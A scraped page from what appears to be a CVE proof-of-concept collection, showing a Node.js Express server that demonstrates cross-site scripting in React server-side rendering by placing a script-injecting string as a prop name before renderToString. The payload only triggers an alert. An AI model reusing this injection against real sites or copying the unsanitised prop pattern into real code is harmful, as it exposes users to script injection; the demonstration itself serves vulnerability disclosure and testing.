4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / index.js JS
const path = require('path');
const fs = require('fs');
const express = require('express');

const React = require('react');
const ReactDOMServer = require('react-dom/server');

const PORT = process.env.PORT || 3006;
const app = express();

app.get('/', (req, res) => {
    // Render React component tree to a string in the server
    let props = {};
    let userProvidedData = '></div><script>alert("insert xss here")</script>';
    props[userProvidedData] = "dummy";
    let element = React.createElement("div", {...props}); // non-JSX syntax
    let app = ReactDOMServer.renderToString(element);
    
    // Respond a client with this data
    const indexFile = path.resolve('./public/index.html');
    fs.readFile(indexFile, 'utf8', (err, data) => {
      if (err) {
        console.error('Something went wrong:', err);
        return res.status(500).send('Something went wrong');
      }
  
      return res.send(
        data.replace('<div id="root"></div>', `<div id="root">${app}</div>`)
      );
    });
  });
  
  app.use(express.static('./public'));
  
  app.listen(PORT, () => {
    console.log(`Server is listening on port ${PORT}`);
  });